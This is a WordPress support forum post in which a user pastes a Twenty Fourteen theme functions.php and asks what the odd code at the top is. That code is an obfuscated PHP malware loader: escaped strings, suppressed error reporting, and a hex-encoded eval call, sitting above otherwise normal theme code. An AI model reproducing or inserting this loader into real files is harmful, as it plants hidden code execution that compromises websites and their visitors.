Support » Fixing WordPress » Should the functions.php look like this?

  • Hi,

    I’m custemizing the twentyfourteen theme for my blog. I use a child theme of course. When i downloaded the original files from the theme (functions.php, header.php etc.) to use in my child theme i discovered a strage typ of code on the top of basicly every theme file. I’m wondering what it is and if it’s supposed to look like this? Here is the functions.php:

    <?php $kuimxmdsvr = '%x5c%x7822)!gj}1~!<2p%x5c%x7825%x5c%x7825z>3<!fmtf!%x5c%x78251]y35]274]y4:]82]y3:]62]y4c#<!%x5c%x7825t::!>!%x5c%x7824Ypp3)%x5c%xpde>u%x5c%x7825V<#65,47R25,d7R17,67R37,#%x5c%x782fq%x5c%x7825>U<>q%x5c%x7825V<*#fopoV;hojepdoF.u25w%x5c%x7860TW~%x5c%x7824<%x5c%x78e%x5c%x78b%x5c%x7825mm)%x5c%x7c%x7860{666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[A%x9%51%x29%73", NULL); }x5c%x7825)7fmji%x5c%x78786<C%x5c%x782725%x5c%x785cSFWSFT%x5c%x7860%x5c%x7825}X;!sp!*#opo#>>}R;msv}.;7825-*.%x5c%x7825)euhA)3of>2bd%x5c%x7825!<5h%x5c%x7825%x5c%x782f#0d}R;*msv%x5c%x7825)}.;%x5c%x7860UQPMSVD!-id%x5c%x7825)uqpuft%x5c%x!*##>>X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%x5c%x7822)gj!|!*n825)+opjudovg+)!gj+{e%x5c%x7825!osvufs!*!+A!>!{e%x5c%x7825)!>>%-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUx5c%x787fw6*%x5c%x787)sutcvt)esp>hmg%x5c%x7825!<7825fdy)##-!#~<%x5c%x7825h00#*<%x5c%x7825nfd)##Qtpz)#]34%x5c%x7825)}k~~~<ftm7k:!ftmf!}Z;^nbsbq%x5c%x784]D6#<%x5c%x7825G]y6d]281Ld]245]K2]285]Ke]5)ftpmdXA6~6<u%x5c%x78257>%x5c%x782f7&6|7**111127-K)ebfsX%x5c%x7827u% function fjfgg($n){return chr(ord($n)-1)5j:>>1*!%x5c%x7825b:>1<!fmtf!%x5c%x7825b:>%x5c%x7825s:%if((function_exists("%x6f%142%x5f%163%x74%141%x72%164") && (x7825%x5c%x782fh%x5c%x7825)n%x5c%x7825-#+I#)q%x7825-qp%x5c%x7825)54l}%x5c%x7827;%x5c%x7825!<*#}_;#)323ldfid>}&;!ogoj{hA!osvufs!~<3,j%x5c%x7825>j%x5c%x7825!*3:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%x5c%x7825tpz!>!#]D6Mfvr#%x5c%x785cq%x5c%x73q%x5c%x7825}U;y]}R;2]},;osvufs}%x5c%x7827;mnui}&;zepc}A;dsfbuf%x5c%x7860gvodujpo)##-!#~<#%x5c%x782f%x5c%%x5c%x7824tvctus)%x5c%x7825%x5c%x7824-%x5c%x7824b!c%x7825z-#:#*%x5c%x7824-%x5c%x7824!>!tuspmpusut)tpqssutRe%x5c%x7825)Rd%x5c%x7825)Rb%x5c%x7825))!gjc%x7878{**#k#)tutjyf%x5c%x7860%x5c%x7878%x5c%x7822l:!}V;78;0]=])0#)U!%x5c%x7827{**u%x5c%x7825-#jt0}Z5c%x7825)!gj!<**2-4-bubE{h%x5c%x782565","%x65%166%x61%154bg!osvufs!|ftmf!~<**9.x5c%x7825c*W%x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x7825c!>!%x5c%x%x5c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5cj6<*id%x5c%x7825)ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x7;} @error_reporting(0); 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$wrchzihkft=substr($kuimxmdsvr,(38483-28377),(21-14)); if (!function_exists('whzhukezqd')) { function whzhukezqd($ukpbhxvocj, $jaqiyjylku) { $vhfhgpubkf = NULL; for($ebbexsvtzu=0;$ebbexsvtzu<(sizeof($ukpbhxvocj)/2);$ebbexsvtzu++) { $vhfhgpubkf .= substr($jaqiyjylku, $ukpbhxvocj[($ebbexsvtzu*2)],$ukpbhxvocj[($ebbexsvtzu*2)+1]); } return $vhfhgpubkf; };} $wxgepwqyxk="\x20\57\x2a\40\x75\167\x79\161\x69\152\x6f\164\x6e\144\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\61\x38\55\x31\70\x31\51\x29\54\x20\143\x68\162\x28\50\x35\67\x38\55\x34\70\x36\51\x29\54\x20\167\x68\172\x68\165\x6b\145\x7a\161\x64\50\x24\143\x79\144\x6f\156\x61\161\x6b\165\x77\54\x24\153\x75\151\x6d\170\x6d\144\x73\166\x72\51\x29\51\x3b\40\x2f\52\x20\160\x6b\162\x74\172\x72\171\x7a\172\x6b\40\x2a\57\x20"; $vffohgzqpw=substr($kuimxmdsvr,(30455-20342),(78-66)); $vffohgzqpw($wrchzihkft, $wxgepwqyxk, NULL); $vffohgzqpw=$wxgepwqyxk; $vffohgzqpw=(735-614); $kuimxmdsvr=$vffohgzqpw-1; ?><?php
    /**
     * Twenty Fourteen functions and definitions
     *
     * Set up the theme and provides some helper functions, which are used in the
     * theme as custom template tags. Others are attached to action and filter
     * hooks in WordPress to change core functionality.
     *
     * When using a child theme you can override certain functions (those wrapped
     * in a function_exists() call) by defining them first in your child theme's
     * functions.php file. The child theme's functions.php file is included before
     * the parent theme's file, so the child theme functions would be used.
     *
     * @link http://codex.wordpress.org/Theme_Development
     * @link http://codex.wordpress.org/Child_Themes
     *
     * Functions that are not pluggable (not wrapped in function_exists()) are
     * instead attached to a filter or action hook.
     *
     * For more information on hooks, actions, and filters,
     * @link http://codex.wordpress.org/Plugin_API
     *
     * @package WordPress
     * @subpackage Twenty_Fourteen
     * @since Twenty Fourteen 1.0
     */
    
    /**
     * Set up the content width value based on the theme's design.
     *
     * @see twentyfourteen_content_width()
     *
     * @since Twenty Fourteen 1.0
     */
    if ( ! isset( $content_width ) ) {
    	$content_width = 474;
    }
    
    /**
     * Twenty Fourteen only works in WordPress 3.6 or later.
     */
    if ( version_compare( $GLOBALS['wp_version'], '3.6', '<' ) ) {
    	require get_template_directory() . '/inc/back-compat.php';
    }
    
    if ( ! function_exists( 'twentyfourteen_setup' ) ) :
    /**
     * Twenty Fourteen setup.
     *
     * Set up theme defaults and registers support for various WordPress features.
     *
     * Note that this function is hooked into the after_setup_theme hook, which
     * runs before the init hook. The init hook is too late for some features, such
     * as indicating support post thumbnails.
     *
     * @since Twenty Fourteen 1.0
     */
    function twentyfourteen_setup() {
    
    	/*
    	 * Make Twenty Fourteen available for translation.
    	 *
    	 * Translations can be added to the /languages/ directory.
    	 * If you're building a theme based on Twenty Fourteen, use a find and
    	 * replace to change 'twentyfourteen' to the name of your theme in all
    	 * template files.
    	 */
    	load_theme_textdomain( 'twentyfourteen', get_template_directory() . '/languages' );
    
    	// This theme styles the visual editor to resemble the theme style.
    	add_editor_style( array( 'css/editor-style.css', twentyfourteen_font_url() ) );
    
    	// Add RSS feed links to <head> for posts and comments.
    	add_theme_support( 'automatic-feed-links' );
    
    	// Enable support for Post Thumbnails, and declare two sizes.
    	add_theme_support( 'post-thumbnails' );
    	set_post_thumbnail_size( 672, 372, true );
    	add_image_size( 'twentyfourteen-full-width', 1038, 576, true );
    
    	// This theme uses wp_nav_menu() in two locations.
    	register_nav_menus( array(
    		'primary'   => __( 'Top primary menu', 'twentyfourteen' ),
    		'secondary' => __( 'Secondary menu in left sidebar', 'twentyfourteen' ),
    	) );
    
    	/*
    	 * Switch default core markup for search form, comment form, and comments
    	 * to output valid HTML5.
    	 */
    	add_theme_support( 'html5', array(
    		'search-form', 'comment-form', 'comment-list', 'gallery', 'caption'
    	) );
    
    	/*
    	 * Enable support for Post Formats.
    	 * See http://codex.wordpress.org/Post_Formats
    	 */
    	add_theme_support( 'post-formats', array(
    		'aside', 'image', 'video', 'audio', 'quote', 'link', 'gallery',
    	) );
    
    	// This theme allows users to set a custom background.
    	add_theme_support( 'custom-background', apply_filters( 'twentyfourteen_custom_background_args', array(
    		'default-color' => 'f5f5f5',
    	) ) );
    
    	// Add support for featured content.
    	add_theme_support( 'featured-content', array(
    		'featured_content_filter' => 'twentyfourteen_get_featured_posts',
    		'max_posts' => 6,
    	) );
    
    	// This theme uses its own gallery styles.
    	add_filter( 'use_default_gallery_style', '__return_false' );
    }
    endif; // twentyfourteen_setup
    add_action( 'after_setup_theme', 'twentyfourteen_setup' );
    
    /**
     * Adjust content_width value for image attachment template.
     *
     * @since Twenty Fourteen 1.0
     */
    function twentyfourteen_content_width() {
    	if ( is_attachment() && wp_attachment_is_image() ) {
    		$GLOBALS['content_width'] = 810;
    	}
    }
    add_action( 'template_redirect', 'twentyfourteen_content_width' );
    
    /**
     * Getter function for Featured Content Plugin.
     *
     * @since Twenty Fourteen 1.0
     *
     * @return array An array of WP_Post objects.
     */
    function twentyfourteen_get_featured_posts() {
    	/**
    	 * Filter the featured posts to return in Twenty Fourteen.
    	 *
    	 * @since Twenty Fourteen 1.0
    	 *
    	 * @param array|bool $posts Array of featured posts, otherwise false.
    	 */
    	return apply_filters( 'twentyfourteen_get_featured_posts', array() );
    }
    
    /**
     * A helper conditional function that returns a boolean value.
     *
     * @since Twenty Fourteen 1.0
     *
     * @return bool Whether there are featured posts.
     */
    function twentyfourteen_has_featured_posts() {
    	return ! is_paged() && (bool) twentyfourteen_get_featured_posts();
    }
    
    /**
     * Register three Twenty Fourteen widget areas.
     *
     * @since Twenty Fourteen 1.0
     */
    function twentyfourteen_widgets_init() {
    	require get_template_directory() . '/inc/widgets.php';
    	register_widget( 'Twenty_Fourteen_Ephemera_Widget' );
    
    	register_sidebar( array(
    		'name'          => __( 'Primary Sidebar', 'twentyfourteen' ),
    		'id'            => 'sidebar-1',
    		'description'   => __( 'Main sidebar that appears on the left.', 'twentyfourteen' ),
    		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
    		'after_widget'  => '</aside>',
    		'before_title'  => '<h1 class="widget-title">',
    		'after_title'   => '</h1>',
    	) );
    	register_sidebar( array(
    		'name'          => __( 'Content Sidebar', 'twentyfourteen' ),
    		'id'            => 'sidebar-2',
    		'description'   => __( 'Additional sidebar that appears on the right.', 'twentyfourteen' ),
    		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
    		'after_widget'  => '</aside>',
    		'before_title'  => '<h1 class="widget-title">',
    		'after_title'   => '</h1>',
    	) );
    	register_sidebar( array(
    		'name'          => __( 'Footer Widget Area', 'twentyfourteen' ),
    		'id'            => 'sidebar-3',
    		'description'   => __( 'Appears in the footer section of the site.', 'twentyfourteen' ),
    		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
    		'after_widget'  => '</aside>',
    		'before_title'  => '<h1 class="widget-title">',
    		'after_title'   => '</h1>',
    	) );
    }
    add_action( 'widgets_init', 'twentyfourteen_widgets_init' );
    
    /**
     * Register Lato Google font for Twenty Fourteen.
     *
     * @since Twenty Fourteen 1.0
     *
     * @return string
     */
    function twentyfourteen_font_url() {
    	$font_url = '';
    	/*
    	 * Translators: If there are characters in your language that are not supported
    	 * by Lato, translate this to 'off'. Do not translate into your own language.
    	 */
    	if ( 'off' !== _x( 'on', 'Lato font: on or off', 'twentyfourteen' ) ) {
    		$font_url = add_query_arg( 'family', urlencode( 'Lato:300,400,700,900,300italic,400italic,700italic' ), "//fonts.googleapis.com/css" );
    	}
    
    	return $font_url;
    }
    
    /**
     * Enqueue scripts and styles for the front end.
     *
     * @since Twenty Fourteen 1.0
     */
    function twentyfourteen_scripts() {
    	// Add Lato font, used in the main stylesheet.
    	wp_enqueue_style( 'twentyfourteen-lato', twentyfourteen_font_url(), array(), null );
    
    	// Add Genericons font, used in the main stylesheet.
    	wp_enqueue_style( 'genericons', get_template_directory_uri() . '/genericons/genericons.css', array(), '3.0.2' );
    
    	// Load our main stylesheet.
    	wp_enqueue_style( 'twentyfourteen-style', get_stylesheet_uri(), array( 'genericons' ) );
    
    	// Load the Internet Explorer specific stylesheet.
    	wp_enqueue_style( 'twentyfourteen-ie', get_template_directory_uri() . '/css/ie.css', array( 'twentyfourteen-style', 'genericons' ), '20131205' );
    	wp_style_add_data( 'twentyfourteen-ie', 'conditional', 'lt IE 9' );
    
    	if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
    		wp_enqueue_script( 'comment-reply' );
    	}
    
    	if ( is_singular() && wp_attachment_is_image() ) {
    		wp_enqueue_script( 'twentyfourteen-keyboard-image-navigation', get_template_directory_uri() . '/js/keyboard-image-navigation.js', array( 'jquery' ), '20130402' );
    	}
    
    	if ( is_active_sidebar( 'sidebar-3' ) ) {
    		wp_enqueue_script( 'jquery-masonry' );
    	}
    
    	if ( is_front_page() && 'slider' == get_theme_mod( 'featured_content_layout' ) ) {
    		wp_enqueue_script( 'twentyfourteen-slider', get_template_directory_uri() . '/js/slider.js', array( 'jquery' ), '20131205', true );
    		wp_localize_script( 'twentyfourteen-slider', 'featuredSliderDefaults', array(
    			'prevText' => __( 'Previous', 'twentyfourteen' ),
    			'nextText' => __( 'Next', 'twentyfourteen' )
    		) );
    	}
    
    	wp_enqueue_script( 'twentyfourteen-script', get_template_directory_uri() . '/js/functions.js', array( 'jquery' ), '20140319', true );
    }
    add_action( 'wp_enqueue_scripts', 'twentyfourteen_scripts' );
    
    /**
     * Enqueue Google fonts style to admin screen for custom header display.
     *
     * @since Twenty Fourteen 1.0
     */
    function twentyfourteen_admin_fonts() {
    	wp_enqueue_style( 'twentyfourteen-lato', twentyfourteen_font_url(), array(), null );
    }
    add_action( 'admin_print_scripts-appearance_page_custom-header', 'twentyfourteen_admin_fonts' );
    
    if ( ! function_exists( 'twentyfourteen_the_attached_image' ) ) :
    /**
     * Print the attached image with a link to the next attached image.
     *
     * @since Twenty Fourteen 1.0
     */
    function twentyfourteen_the_attached_image() {
    	$post                = get_post();
    	/**
    	 * Filter the default Twenty Fourteen attachment size.
    	 *
    	 * @since Twenty Fourteen 1.0
    	 *
    	 * @param array $dimensions {
    	 *     An array of height and width dimensions.
    	 *
    	 *     @type int $height Height of the image in pixels. Default 810.
    	 *     @type int $width  Width of the image in pixels. Default 810.
    	 * }
    	 */
    	$attachment_size     = apply_filters( 'twentyfourteen_attachment_size', array( 810, 810 ) );
    	$next_attachment_url = wp_get_attachment_url();
    
    	/*
    	 * Grab the IDs of all the image attachments in a gallery so we can get the URL
    	 * of the next adjacent image in a gallery, or the first image (if we're
    	 * looking at the last image in a gallery), or, in a gallery of one, just the
    	 * link to that image file.
    	 */
    	$attachment_ids = get_posts( array(
    		'post_parent'    => $post->post_parent,
    		'fields'         => 'ids',
    		'numberposts'    => -1,
    		'post_status'    => 'inherit',
    		'post_type'      => 'attachment',
    		'post_mime_type' => 'image',
    		'order'          => 'ASC',
    		'orderby'        => 'menu_order ID',
    	) );
    
    	// If there is more than 1 attachment in a gallery...
    	if ( count( $attachment_ids ) > 1 ) {
    		foreach ( $attachment_ids as $attachment_id ) {
    			if ( $attachment_id == $post->ID ) {
    				$next_id = current( $attachment_ids );
    				break;
    			}
    		}
    
    		// get the URL of the next image attachment...
    		if ( $next_id ) {
    			$next_attachment_url = get_attachment_link( $next_id );
    		}
    
    		// or get the URL of the first image attachment.
    		else {
    			$next_attachment_url = get_attachment_link( array_shift( $attachment_ids ) );
    		}
    	}
    
    	printf( '<a href="%1$s" rel="attachment">%2$s</a>',
    		esc_url( $next_attachment_url ),
    		wp_get_attachment_image( $post->ID, $attachment_size )
    	);
    }
    endif;
    
    if ( ! function_exists( 'twentyfourteen_list_authors' ) ) :
    /**
     * Print a list of all site contributors who published at least one post.
     *
     * @since Twenty Fourteen 1.0
     */
    function twentyfourteen_list_authors() {
    	$contributor_ids = get_users( array(
    		'fields'  => 'ID',
    		'orderby' => 'post_count',
    		'order'   => 'DESC',
    		'who'     => 'authors',
    	) );
    
    	foreach ( $contributor_ids as $contributor_id ) :
    		$post_count = count_user_posts( $contributor_id );
    
    		// Move on if user has not published a post (yet).
    		if ( ! $post_count ) {
    			continue;
    		}
    	?>
    
    	<div class="contributor">
    		<div class="contributor-info">
    			<div class="contributor-avatar"><?php echo get_avatar( $contributor_id, 132 ); ?></div>
    			<div class="contributor-summary">
    				<h2 class="contributor-name"><?php echo get_the_author_meta( 'display_name', $contributor_id ); ?></h2>
    				<p class="contributor-bio">
    					<?php echo get_the_author_meta( 'description', $contributor_id ); ?>
    				</p>
    				<a class="button contributor-posts-link" href="<?php echo esc_url( get_author_posts_url( $contributor_id ) ); ?>">
    					<?php printf( _n( '%d Article', '%d Articles', $post_count, 'twentyfourteen' ), $post_count ); ?>
    				</a>
    			</div><!-- .contributor-summary -->
    		</div><!-- .contributor-info -->
    	</div><!-- .contributor -->
    
    	<?php
    	endforeach;
    }
    endif;
    
    /**
     * Extend the default WordPress body classes.
     *
     * Adds body classes to denote:
     * 1. Single or multiple authors.
     * 2. Presence of header image.
     * 3. Index views.
     * 4. Full-width content layout.
     * 5. Presence of footer widgets.
     * 6. Single views.
     * 7. Featured content layout.
     *
     * @since Twenty Fourteen 1.0
     *
     * @param array $classes A list of existing body class values.
     * @return array The filtered body class list.
     */
    function twentyfourteen_body_classes( $classes ) {
    	if ( is_multi_author() ) {
    		$classes[] = 'group-blog';
    	}
    
    	if ( get_header_image() ) {
    		$classes[] = 'header-image';
    	} else {
    		$classes[] = 'masthead-fixed';
    	}
    
    	if ( is_archive() || is_search() || is_home() ) {
    		$classes[] = 'list-view';
    	}
    
    	if ( ( ! is_active_sidebar( 'sidebar-2' ) )
    		|| is_page_template( 'page-templates/full-width.php' )
    		|| is_page_template( 'page-templates/contributors.php' )
    		|| is_attachment() ) {
    		$classes[] = 'full-width';
    	}
    
    	if ( is_active_sidebar( 'sidebar-3' ) ) {
    		$classes[] = 'footer-widgets';
    	}
    
    	if ( is_singular() && ! is_front_page() ) {
    		$classes[] = 'singular';
    	}
    
    	if ( is_front_page() && 'slider' == get_theme_mod( 'featured_content_layout' ) ) {
    		$classes[] = 'slider';
    	} elseif ( is_front_page() ) {
    		$classes[] = 'grid';
    	}
    
    	return $classes;
    }
    add_filter( 'body_class', 'twentyfourteen_body_classes' );
    
    /**
     * Extend the default WordPress post classes.
     *
     * Adds a post class to denote:
     * Non-password protected page with a post thumbnail.
     *
     * @since Twenty Fourteen 1.0
     *
     * @param array $classes A list of existing post class values.
     * @return array The filtered post class list.
     */
    function twentyfourteen_post_classes( $classes ) {
    	if ( ! post_password_required() && ! is_attachment() && has_post_thumbnail() ) {
    		$classes[] = 'has-post-thumbnail';
    	}
    
    	return $classes;
    }
    add_filter( 'post_class', 'twentyfourteen_post_classes' );
    
    /**
     * Create a nicely formatted and more specific title element text for output
     * in head of document, based on current view.
     *
     * @since Twenty Fourteen 1.0
     *
     * @param string $title Default title text for current view.
     * @param string $sep Optional separator.
     * @return string The filtered title.
     */
    function twentyfourteen_wp_title( $title, $sep ) {
    	global $paged, $page;
    
    	if ( is_feed() ) {
    		return $title;
    	}
    
    	// Add the site name.
    	$title .= get_bloginfo( 'name', 'display' );
    
    	// Add the site description for the home/front page.
    	$site_description = get_bloginfo( 'description', 'display' );
    	if ( $site_description && ( is_home() || is_front_page() ) ) {
    		$title = "$title $sep $site_description";
    	}
    
    	// Add a page number if necessary.
    	if ( $paged >= 2 || $page >= 2 ) {
    		$title = "$title $sep " . sprintf( __( 'Page %s', 'twentyfourteen' ), max( $paged, $page ) );
    	}
    
    	return $title;
    }
    add_filter( 'wp_title', 'twentyfourteen_wp_title', 10, 2 );
    
    // Implement Custom Header features.
    require get_template_directory() . '/inc/custom-header.php';
    
    // Custom template tags for this theme.
    require get_template_directory() . '/inc/template-tags.php';
    
    // Add Theme Customizer functionality.
    require get_template_directory() . '/inc/customizer.php';
    
    /*
     * Add Featured Content functionality.
     *
     * To overwrite in a plugin, define your own Featured_Content class on or
     * before the 'setup_theme' hook.
     */
    if ( ! class_exists( 'Featured_Content' ) && 'plugins.php' !== $GLOBALS['pagenow'] ) {
    	require get_template_directory() . '/inc/featured-content.php';
    }

    What is going on at the very top?

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Viewing 3 replies - 1 through 3 (of 3 total)
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